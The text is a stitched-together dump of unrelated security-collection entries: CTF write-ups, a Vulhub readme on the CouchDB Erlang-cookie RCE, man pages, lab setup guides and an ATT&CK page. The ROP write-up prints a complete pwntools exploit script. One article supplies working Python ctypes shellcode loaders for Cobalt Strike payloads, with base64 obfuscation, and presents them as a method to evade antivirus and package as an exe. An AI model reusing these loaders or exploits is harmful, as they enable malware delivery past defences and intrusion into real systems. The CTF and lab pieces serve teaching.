(13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.mmIN0FCE1u' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/newoverflow-2_4_2cbec72146545064c6623c465faba84e' [+] Starting local process '/media/sf_CTFs/pico/NewOverFlow-2/vuln': pid 1225 [*] Process '/media/sf_CTFs/pico/NewOverFlow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 1225) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/NewOverFlow-2/core.1225' Arch: amd64-64-little RIP: 0x4008cd RSP: 0x7fff65080078 Exe: '/media/sf_CTFs/pico/NewOverFlow-2/vuln' (0x400000) Fault: 0x616161616161616a [*] Overflow offset: 72 (8-byte architecture) [*] flag() address: 0x40084d [+] Starting remote process '/problems/newoverflow-2_4_2cbec72146545064c6623c465faba84e/vuln' on 2019shell1.picoctf.com: pid 3871758 [*] Sending payload: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 00000040 42 42 42 42 42 42 42 42 ce 08 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│ 00000050 [*] Sending payload: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 00000040 42 42 42 42 42 42 42 42 4d 08 40 00 00 00 00 00 │BBBB│BBBB│M·@·│····│ 00000050 [+] Receiving all data: Done (39B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 3871758) picoCTF{r0p_1t_d0nT_st0p_1t_df73a1da} ``` After the end of the competition, I revisited the challenge and solved it using a classic ROP chain. Let's take a closer look at `win_fn2`: ```console root@kali:/media/sf_CTFs/pico/NewOverFlow-2# r2 ./vuln -- Step through your seek history with the commands 'u' (undo) and 'U' (redo) [0x00400680]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00400680]> s sym.win_fn2 [0x00400781]> agf [0x00400781]> # sym.win_fn2 (uint32_t arg1, uint32_t arg2, uint32_t arg3); .--------------------------------------------------------------. | 0x400781 | | (fcn) sym.win_fn2 61 | | sym.win_fn2 (uint32_t arg1, uint32_t arg2, uint32_t arg3); | | ; var uint32_t var_ch @ rbp-0xc | | ; var uint32_t var_8h @ rbp-0x8 | | ; var uint32_t var_4h @ rbp-0x4 | | ; arg uint32_t arg1 @ rdi | | ; arg uint32_t arg2 @ rsi | | ; arg uint32_t arg3 @ rdx | | push rbp | | mov rbp, rsp | | ; arg1 | | mov dword [var_4h], edi | | ; arg2 | | mov dword [var_8h], esi | | ; arg3 | | mov dword [var_ch], edx | | ; [0x601079:1]=0 | | movzx eax, byte [obj.win1] | | test al, al | | je 0x4007bb | `--------------------------------------------------------------' f t | | | '--------------------------------. .' | | | .-----------------------------------. | | 0x400799 | | | cmp dword [var_4h], 0xbaadcafe | | | jne 0x4007bb | | `-----------------------------------' | f t | | | | | '-------------------------. | .-------' | | | | | .-----------------------------------. | | | 0x4007a2 | | | | cmp dword [var_8h], 0xcafebabe | | | | jne 0x4007bb | | | `-----------------------------------' | | f t | | | | | | | '-------------------------. | | .-------' | | | | | | | .-----------------------------------. | | | | 0x4007ab | | | | | cmp dword [var_ch], 0xabadbabe | | | | | jne 0x4007bb | | | | `-----------------------------------' | | | f t | | | | | | | | | '-------------------------. | | | | | | | | | | | | | .---------------------------. | | | | | 0x4007b4 | | | | | | ; [0x60107a:1]=0 | | | | | | mov byte [obj.win2], 1 | | | | | `---------------------------' | | | | v | | | | | | | | | .-' | | | | | .---------------------------' | | | | | .-----------------------------' | | | | | .-------------------------------' | | | | | .---------------------------------' | | | | | .------------------------------------------------------------------------. | 0x4007bb | | ; CODE XREFS from sym.win_fn2 @ 0x400797, 0x4007a0, 0x4007a9, 0x4007b2 | | nop | | pop rbp | | ret | `------------------------------------------------------------------------' ``` We don't need to set the parameters for the function, we can just jump directly to `0x4007b4` and set `win2` to `true`. We only need to manually take care of the `pop rbp` that comes later. So, the exploit is: ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/newoverflow-2_4_2cbec72146545064c6623c465faba84e/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) def send_payload(proc, payload): proc.sendlineafter("Welcome to 64-bit. Can you match these numbers?", payload) def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(200, n = exe.bytes) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes)) return offset overflow_offset = get_overflow_offset() log.info("win_fn1() address: {}".format(hex(exe.symbols["win_fn1"]))) log.info("win_fn2() address: {}".format(hex(exe.symbols["win_fn2"]))) log.info("win_fn() address: {}".format(hex(exe.symbols["win_fn"]))) rop = ROP(context.binary) rop.win_fn1(0xDEADBEEF) rop.raw(0x004007b4) # Inside win_fn2 rop.raw(0xABABABAB) # Popped into RBP rop.win_fn() log.info("ROP: \n{}".format(rop.dump())) io = start() payload = fit({overflow_offset: exe.symbols["main"]}, filler = 'B') log.info("Sending payload: \n{}".format(hexdump(payload))) send_payload(io, payload) payload = fit({overflow_offset: exe.symbols["main"]}, filler = 'B') log.info("Sending payload: \n{}".format(hexdump(payload))) send_payload(io, payload) payload = fit({overflow_offset: str(rop)}, filler = 'A') log.info("Sending payload: \n{}".format(hexdump(payload))) send_payload(io, payload) print io.recvall() ``` Just like the previous challenge, we have to make some dummy calls to `main` in order to align the stack for `printf`. Output: ```console root@kali:/media/sf_CTFs/pico/NewOverFlow-2# python exploit.py [*] '/media/sf_CTFs/pico/NewOverFlow-2/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.kevtwNHuSk' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/newoverflow-2_4_2cbec72146545064c6623c465faba84e' [+] Starting local process '/media/sf_CTFs/pico/NewOverFlow-2/vuln': pid 3393 [*] Process '/media/sf_CTFs/pico/NewOverFlow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 3393) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/NewOverFlow-2/core.3393' Arch: amd64-64-little RIP: 0x4008cd RSP: 0x7ffe146f0718 Exe: '/media/sf_CTFs/pico/NewOverFlow-2/vuln' (0x400000) Fault: 0x616161616161616a [*] Overflow offset: 72 (8-byte architecture) [*] win_fn1() address: 0x400767 [*] win_fn2() address: 0x400781 [*] win_fn() address: 0x4007be [*] Loaded cached gadgets for 'vuln' [*] ROP: 0x0000: 0x4009a3 pop rdi; ret 0x0008: 0xdeadbeef [arg0] rdi = 3735928559 0x0010: 0x400767 win_fn1 0x0018: 0x4007b4 0x0020: 0xabababab 0x0028: 0x4007be win_fn() [+] Starting remote process '/problems/newoverflow-2_4_2cbec72146545064c6623c465faba84e/vuln' on 2019shell1.picoctf.com: pid 3733698 [*] Sending payload: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 00000040 42 42 42 42 42 42 42 42 ce 08 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│ 00000050 [*] Sending payload: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 00000040 42 42 42 42 42 42 42 42 ce 08 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│ 00000050 [*] Sending payload: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000040 41 41 41 41 41 41 41 41 a3 09 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000050 ef be ad de 00 00 00 00 67 07 40 00 00 00 00 00 │····│····│g·@·│····│ 00000060 b4 07 40 00 00 00 00 00 ab ab ab ab 00 00 00 00 │··@·│····│····│····│ 00000070 be 07 40 00 00 00 00 00 │··@·│····││ 00000078 [+] Receiving all data: Done (39B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 3733698) picoCTF{r0p_1t_d0nT_st0p_1t_df73a1da} ```
sec-knowleage
.TH PSFGETTABLE 1 "28 Oct 1997" "控制台工具" "Linux 用户手册" .SH NAME psfgettable \- 从控制台字体中提取出嵌入的Unicode字符表 .SH 总览 .B psfgettable .I 字体文件 [输出文件] .SH 描述 .B psfgettable 命令从一个 .psf 格式的控制台字体中提取出嵌入的 Unicode字符表, 以易读格式输入到一个ASCII文件, 该文件的格式 如同 .BR psfaddtable (1) 所使用的. 若字体文件名是单个破折号(\-), 则字体从标准输入读取. .SH "另见" .BR consolechars (8), .BR psfaddtable (1), .BR psfstriptable (1).
sec-knowleage
# Hello Java Sec ## 简介 Hello Java Sec是一个java安全编码平台,可以为开发人员攻击具体的漏洞代码、代码运行结果以及修复代码。 ## 安装 安装Java8 ``` apt install openjdk-8-jdk ``` > 我使用Ubuntu20.04,默认是Java 11,需要切换到Java 8,参考[这里](https://computingforgeeks.com/how-to-set-default-java-version-on-ubuntu-debian/) 启动MySQL ``` docker run -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -v /opt/mysql/:/var/lib/mysql -d mysql:5.7 ``` git仓库下载 ``` git clone https://github.com/j3ers3/Hello-Java-Sec.git ``` 配置数据库连接:`src/main/resources/application.properties` ``` spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test spring.datasource.username=root spring.datasource.password=123456 ``` 导入`db.sql`数据 ```sql root@l-virtual-machine:/opt/Hello-Java-Sec# mysql -uroot -p123456 -h127.0.0.1 mysql> create database test; Query OK, 1 row affected (0.00 sec) mysql> use test; Database changed mysql> source /opt/Hello-Java-Sec/src/main/resources/db.sql Query OK, 1 row affected (0.00 sec) Database changed Query OK, 0 rows affected (0.02 sec) Query OK, 1 row affected (0.00 sec) Query OK, 1 row affected (0.00 sec) Query OK, 0 rows affected (0.00 sec) ``` 构建jar包 ``` mvn clean package -DskipTests ``` 另外一种安装方式 修改数据库连接IP地址为:`172.20.0.200` 修改Dockerfile ``` FROM openjdk:8 RUN apt update -y RUN apt install -y maven COPY . /opt/seccode/ WORKDIR /opt/seccode RUN mvn clean package -DskipTests ENTRYPOINT java -jar target/javasec-1.10.jar ``` 新增docker-compose.yaml文件 ``` version: '2' services: seccode: build: context: /opt/Hello-Java-Sec/ dockerfile: Dockerfile image: seccode networks: extnetwork: ipv4_address: 172.20.0.100 ports: - 8888:8888 environment: MYSQL_USER: root MYSQL_PASSWORD: 123456 db: image: mysql:5.7 networks: extnetwork: ipv4_address: 172.20.0.200 container_name: db volumes: - ./data/mysql:/var/lib/mysql restart: always ports: - 3306:3306 environment: MYSQL_ROOT_PASSWORD: MYSQL_DATABASE: jxwaf MYSQL_USER: MYSQL_PASSWORD: user: root privileged: true networks: extnetwork: ipam: driver: bright config: - subnet: 172.20.0.0/16 gateway: 172.20.0.1 ``` 运行 ``` docker-compose build docker-compose up ``` ## 运行 启动应用,访问8888端口 ``` java -jar target/javasec-1.10.jar ``` ![image-20230202112546906](../../.gitbook/assets/image-20230202112546906.png) 输入`admin:admin`进行登录 ![image-20230202112650464](../../.gitbook/assets/image-20230202112650464.png) 点击JDBC按钮,可以看到SQL注入的漏洞代码以及对应的过滤方法。 ![image-20230202112738302](../../.gitbook/assets/image-20230202112738302.png) 点击漏洞代码的`RUN`键,可以复现相应的漏洞 ![image-20230202112828573](../../.gitbook/assets/image-20230202112828573.png)
sec-knowleage
## She said it doesn't matter (misc/stego, 100p) ### PL Version [ENG](#eng-version) W zadaniu dostajemy obrazek [png](./m100.png) z zepsutym nagłówkiem. Rozpakowujemy zawartość pliku i za pomocą pozyskanych pikseli tworzymy obrazek, w którym ukryta jest flaga. Musimy ustawić dobre wymiary obrazka, które różnią sie od odczytanych z nagłówka. Po paru próbach odnajdujemy właściwe wartości. ```python from PIL import Image with open('zlibdec.bin','rb') as f: data=f.read() im = Image.frombytes('RGB',(891,550),data) im.show() ``` i w wyniku otrzymujemy: ![](./misc100.png) ### ENG Version We get png picture with broken header checksum. With pixels extracted from file we make picture using them. We have to set good size of picture and mode, since data from broken header are misleading. After some trials we can easly find right values. ```python from PIL import Image with open('zlibdec.bin','rb') as f: data=f.read() im = Image.frombytes('RGB',(891,550),data) im.show() ``` as a result we get: ![](./misc100.png)
sec-knowleage
# Hello Vue ### 环境配置 前面的章节已经说了具体怎么安装 这里就不提了 ``` vue init webpack vuex-demo ``` #### 按照下面进行配置 ``` liuenqing@liuenqing-PC:~/Documents$ vue init webpack vuex-demo ? Project name vuex-demo ? Project description A Vue.js project ? Author l552177239 <552177239@qq.com> ? Vue build standalone ? Use ESLint to lint your code? Yes ? Pick an ESLint preset Standard ? Setup unit tests with Karma + Mocha? no ? Setup e2e tests with Nightwatch? no ``` #### 进入项目文件夹,安装依赖 ``` cd vuex-demo && npm install ``` #### 打开项目 ``` npm run dev ``` 这样我们就可以在浏览器中查看了 ``` http://localhost:8080/ ``` ### 结构调整 对 src 文件夹下的文件进行删减及结构调整
sec-knowleage
# Play Nice Category: Crypto, 110 points ## Description > Not all ancient ciphers were so bad... The flag is not in standard format. A Python file was attached. ```python #!/usr/bin/python3 -u import signal SQUARE_SIZE = 6 def generate_square(alphabet): assert len(alphabet) == pow(SQUARE_SIZE, 2) matrix = [] for i, letter in enumerate(alphabet): if i % SQUARE_SIZE == 0: row = [] row.append(letter) if i % SQUARE_SIZE == (SQUARE_SIZE - 1): matrix.append(row) return matrix def get_index(letter, matrix): for row in range(SQUARE_SIZE): for col in range(SQUARE_SIZE): if matrix[row][col] == letter: return (row, col) print("letter not found in matrix.") exit() def encrypt_pair(pair, matrix): p1 = get_index(pair[0], matrix) p2 = get_index(pair[1], matrix) if p1[0] == p2[0]: return matrix[p1[0]][(p1[1] + 1) % SQUARE_SIZE] + matrix[p2[0]][(p2[1] + 1) % SQUARE_SIZE] elif p1[1] == p2[1]: return matrix[(p1[0] + 1) % SQUARE_SIZE][p1[1]] + matrix[(p2[0] + 1) % SQUARE_SIZE][p2[1]] else: return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]] def encrypt_string(s, matrix): result = "" if len(s) % 2 == 0: plain = s else: plain = s + "meiktp6yh4wxruavj9no13fb8d027c5glzsq"[0] for i in range(0, len(plain), 2): result += encrypt_pair(plain[i:i + 2], matrix) return result alphabet = open("key").read().rstrip() m = generate_square(alphabet) msg = open("msg").read().rstrip() enc_msg = encrypt_string(msg, m) print("Here is the alphabet: {}\nHere is the encrypted message: {}".format(alphabet, enc_msg)) signal.alarm(18) resp = input("What is the plaintext message? ").rstrip() if resp and resp == msg: print("Congratulations! Here's the flag: {}".format(open("flag").read())) ``` ## Solution Let's connect to the attached service: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Play_Nice] └─$ nc mercury.picoctf.net 6057 Here is the alphabet: meiktp6yh4wxruavj9no13fb8d027c5glzsq Here is the encrypted message: y7bcvefqecwfste224508y1ufb21ld What is the plaintext message? ``` This is a [Playfair cipher](https://en.wikipedia.org/wiki/Playfair_cipher), as hinted by the title: > The Playfair cipher is a manual symmetric encryption technique and was the first literal digram substitution cipher. > > The technique encrypts pairs of letters (bigrams or digrams), instead of single letters as in the simple substitution cipher and rather more complex Vigenère cipher systems then in use. To decrypt, we form a grid using the alphabet: ``` m e i k t p 6 y h 4 w x r u a v j 9 n o 1 3 f b 8 d 0 2 7 c 5 g l z s q ``` Then, we work according to the following rules: * For each pair of letters: * If both letters are on the same row, replace them by the ones on their left. Wraparound to the right if needed. * If both letters are on the same column, replace them by the ones above them. Wraparound to the bottom if needed. * Otherwise, locate the two letters which form a rectangle with the current pair's letters. Take the letter that's on the same row as the first ciphertext letter, then the one that's on the second's ciphertext letter. * (If after decrypting the message there's an extra `X` or `Q` that doesn't make sense, drop it) The first pair is `y7`. They aren't on the same row or column, so we form a rectangle with `w` and `d`, then decode as `wd`. Next, we have `bc` which are on the same column. Therefore they become `9b`, and so on. [This site](https://www.dcode.fr/playfair-cipher) can automatically decode the ciphertext. The plaintext provided by the site is: `wd9bukbspdtj7skd3kl8d6oa3f03g0`. ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Play_Nice] └─$ nc mercury.picoctf.net 6057 Here is the alphabet: meiktp6yh4wxruavj9no13fb8d027c5glzsq Here is the encrypted message: y7bcvefqecwfste224508y1ufb21ld What is the plaintext message? wd9bukbspdtj7skd3kl8d6oa3f03g0 Congratulations! Here's the flag: 2e71b99fd3d07af3808f8dff2652ae0e ``` The flag: `2e71b99fd3d07af3808f8dff2652ae0e`
sec-knowleage
# CouchDB Erlang distribution Remote Command Execution (CVE-2022-24706) [中文版本(Chinese version)](README.zh-cn.md) Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. Apache CouchDB is written in Erlang and so it has built-in support for distributed computing (clustering). The cluster nodes communicate using the Erlang/OTP Distribution Protocol, which provides for the possibility of executing OS command requests as the user running the software. In order to connect and run OS commands, one needs to know the secret phrase or in Erlang terms the "cookie". The CouchDB installer in versions 3.2.1 and below, by default, sets the cookie to "monster". References: - <https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html> - <https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/> - <https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb> - <https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit> ## Vulnerability Environment Execute following command to start a Apache CouchDB 3.2.1: ``` docker compose up -d ``` After service is started, 3 port will be listening on `target-ip`: - 5984: Web interface for Apache CouchDB - 4369: Erlang port mapper daemon (epmd) - 9100: clustered operation and runtime introspection port (command is actually executed through this port) In practice, Web interface and epmd service port is fixed, clustered operation port is random. We can accesses the EPMD service to obtain the clustered operation port number. ## Exploit We can just use [this poc](poc.py) to exploit this vulnerability. The poc does 2 things, firstly obtain the clustered operation port from epmd service, then use default cookie to execute arbitrary commands in clusters. ``` python poc.py target-ip 4369 ``` ![](1.png)
sec-knowleage
# 0x00 简介 其实用python go等语言打包成exe来免杀非常不错,这里我使用python 其他语言类似,这种方式就是打包的文件很大 Python打包工具有三种py2exe、PyInstaller和cx_Freeze,我这里使用的是PyInstaller。 其实用python来加载shellcode 在2012之前国外都有人发过文章了,各种加载方式,有些但是执行不成功,所以我这里整理了几种 # 0x01 shellcode->python python 执行shellcode主要用到模块ctypes来使用和C兼容的数据类型 以下是网络流传的执行shellcode的代码 1. ``` #!/usr/bin/python import ctypes shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b") ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) ``` 2. ``` from ctypes import * shellcode = "" shellcode_one = create_string_buffer(shellcode, len(shellcode)) shellcode_run = cast(shellcode_one, CFUNCTYPE(c_void_p)) shellcode_run() ``` 3. ``` from ctypes import * import ctypes buf = "" #libc = CDLL('libc.so.6') PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 def executable_code(buffer): buf = c_char_p(buffer) size = len(buffer) addr = libc.valloc(size) addr = c_void_p(addr) if 0 == addr: raise Exception("Failed to allocate memory") memmove(addr, buf, size) if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC): raise Exception("Failed to set protection on buffer") return addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect shellcode = bytearray(buf) whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: if 1: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell), buf, ctypes.c_int(len(shellcode))) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell() ``` 4. ``` import ctypes shellcode = "" rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) ``` 用CS生成python shellcode 写入后运行成功上线就可以打包成exe了,这里用PyInstaller为例 > PyInstaller --console --onefile shellcode_encoder.py ![Cobalt Strike ](./img/2.5.1.png) # 0x02 encodeshellcode->python 通过简单的base64编码来绕过AV的查杀 ``` import ctypes import base64 encode_shellcode = "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCL" shellcode = base64.b64decode(encode_shellcode) rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) ``` 当然你也可以把整个代码base64加密然后用 `exec` 来执行 比如`exec(base64.b64decode("encode"))` 自己写个简单的加密很容易就达到绕过AV查杀的目的,并不是很推荐使用base64可以使用密匙来对称加密。 ![Cobalt Strike ](./img/2.5.2.png) # 0x03 文末 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
version: '2' services: weblogic: image: vulhub/weblogic:10.3.6.0-2017 ports: - "7001:7001"
sec-knowleage
# T1590-005-收集目标组织网络信息-IP地址 ## 来自ATT&CK的描述 攻击者可能会事先收集攻击目标的IP地址信息。公共IP地址可能是按块分配给企业的,也可能是一系列连续地址分配给企业的。已分配IP地址信息可能包括各种细节信息,比如当前使用的IP地址。收集已分配的IP地址信息,攻击者可以了解当前在用的IP地址,也可能推导出攻击目标的其他细节,比如组织规模、地理位置、Internet服务提供商以及面向公众基础设施的部署位置/方式。 IP地址信息可能是攻击者通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)等方式主动收集的,也可能是通过在线或其他可访问的数据集如[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596)暴露给攻击者的(引自:WHOIS)(引自:DNS Dumpster)(引自:Circl Passive DNS)。收集这些信息可能会触发其他形式的侦察行动(例如:[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)),从而建立运营资源(例如:[获取基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1583)或[入侵基础设施](https://contribute.knowledge.qihoo.net/detail/technique/T1584)),或实现初始访问(例如:[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133))。 ## 测试案例 扫描工具:Nmap、Goby、masscan等 空间搜索引擎:FOFA、Zoomeye等 绕过CDN查找真实IP: <https://blog.csdn.net/weixin_45677119/article/details/110870703> ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。 检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1590-001-收集目标组织网络信息-域属性]] [[T1590-002-收集目标组织网络信息-DNS]] [[T1590-003-收集目标组织网络信息-网络信任关系]] [[T1590-004-收集目标组织网络信息-网络拓扑]] [[T1590-006-收集目标组织网络信息-网络安全设备]] ## 参考推荐 MITRE-ATT&CK-T1590-005 <https://attack.mitre.org/techniques/T1590/005/> 渗透测试-----信息收集(通过DNS解析找IP地址、CDN、IP查询、IP物理地址、搜索引擎、网站信息收集) <https://blog.csdn.net/weixin_45677119/article/details/110870703>
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE OPERATOR" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE OPERATOR \- 定义一个新的操作符 .SH SYNOPSIS .sp .nf CREATE OPERATOR \fIname\fR ( PROCEDURE = \fIfuncname\fR [, LEFTARG = \fIlefttype\fR ] [, RIGHTARG = \fIrighttype\fR ] [, COMMUTATOR = \fIcom_op\fR ] [, NEGATOR = \fIneg_op\fR ] [, RESTRICT = \fIres_proc\fR ] [, JOIN = \fIjoin_proc\fR ] [, HASHES ] [, MERGES ] [, SORT1 = \fIleft_sort_op\fR ] [, SORT2 = \fIright_sort_op\fR ] [, LTCMP = \fIless_than_op\fR ] [, GTCMP = \fIgreater_than_op\fR ] ) .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE OPERATOR\fR 定义一个新的操作符, name。 定义该操作符的用户成为其所有者。如果给出了一个模式名,那么该操作符将在指定的模式中创建。 否则它会在当前模式中创建。 .PP 操作符 name 是一个最多NAMEDATALEN-1 长的(缺省为 63 个)下列字符组成的字串: .sp .nf + - * / < > = ~ ! @ # % ^ & | ` ? .sp .fi 你选择名字的时候有几个限制: .TP 0.2i \(bu -- 和 /* 不能在操作符名字的任何地方出现, 因为它们会被认为是一个注释的开始。 .TP 0.2i \(bu 一个多字符的操作符名字不能以 + 或 - 结尾, 除非该名字还包含至少下面字符之一: .sp .nf ~ ! @ # % ^ & | ` ? .sp .fi 例如, @- 是一个允许的操作符名, 但 *- 不是。 这个限制允许 PostgreSQL 分析 SQL-有问题的查询而不要求在符号之间有空白。 .PP .PP 操作符 != 在输入时映射成 <>, 因此这两个名称总是相等的。 .PP 至少需要定义一个LEFTARG或RIGHTARG。 对于双目操作符来说,两者都需要定义。 对右目操作符来说,只需要定义LEFTARG, 而对于左目操作符来说,只需要定义RIGHTARG。 .PP 同样,funcname 过程必须已经用 CREATE FUNCTION 定义过, 而且必须定义为接受正确数量的指定类型参数(一个或是两个)。 .PP 其它子句声明可选的操作符优化子句。他们的含义在 ``User-Defined Operators'' 里定义。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 要定义的操作符名字。可用的字符见上文。 其名字可以用模式修饰,比如 CREATE OPERATOR myschema.+ (...)。 如果没有模式,则在当前模式中创建操作符。同一个模式中的两个操作符可以有一样的名字,只要他们操作不同的数据类型。这叫做 重载。 .TP \fB\fIfuncname\fB\fR 用于实现该操作符的函数。 .TP \fB\fIlefttype\fB\fR 如果存在的话,操作符左手边的参数类型。 如果是左目操作符,这个参数可以省略。 .TP \fB\fIrighttype\fB\fR 如果存在的话,操作符右手边的参数类型。 如果是右目操作符,这个参数可以省略。 .TP \fB\fIcom_op\fB\fR 该操作符对应的交换(commutator)操作符。 .TP \fB\fIneg_op\fB\fR 对应的负操作符。 .TP \fB\fIres_proc\fB\fR 此操作符约束选择性计算函数。 .TP \fB\fIjoin_proc\fB\fR 此操作符连接选择性计算函数。 .TP \fBHASHES\fR 表明此操作符支持哈希(散列)连接。 .TP \fBMERGES\fR 表明此操作符可以支持一个融合连接。 .TP \fB\fIleft_sort_op\fB\fR 如果此操作符支持融合连接(join),此操作符的左手边数据的排序操作符。 .TP \fB\fIright_sort_op\fB\fR 如果此操作符支持融合连接(join),此操作符的右手边数据的排序操作符。 .TP \fB\fIless_than_op\fB\fR 如果这个操作符可以支持融合连接,那么这就是比较这个操作符的输入数据类型的小于操作符。 .TP \fB\fIgreater_than_op\fB\fR 如果这个操作符不支持融合连接,那么这就是比较输入这个操作符的数据类型的大于操作符。 .PP 要在 com_op 或者其它可选参数里给出一个模式修饰的操作符名,使用 OPERATOR() 语法,比如 .sp .nf COMMUTATOR = OPERATOR(myschema.===) , .sp .fi .PP .SH "NOTES 注意" .PP 请参阅 ``User-Defined Operators'' 中操作符章节获取更多信息。 .PP 请使用 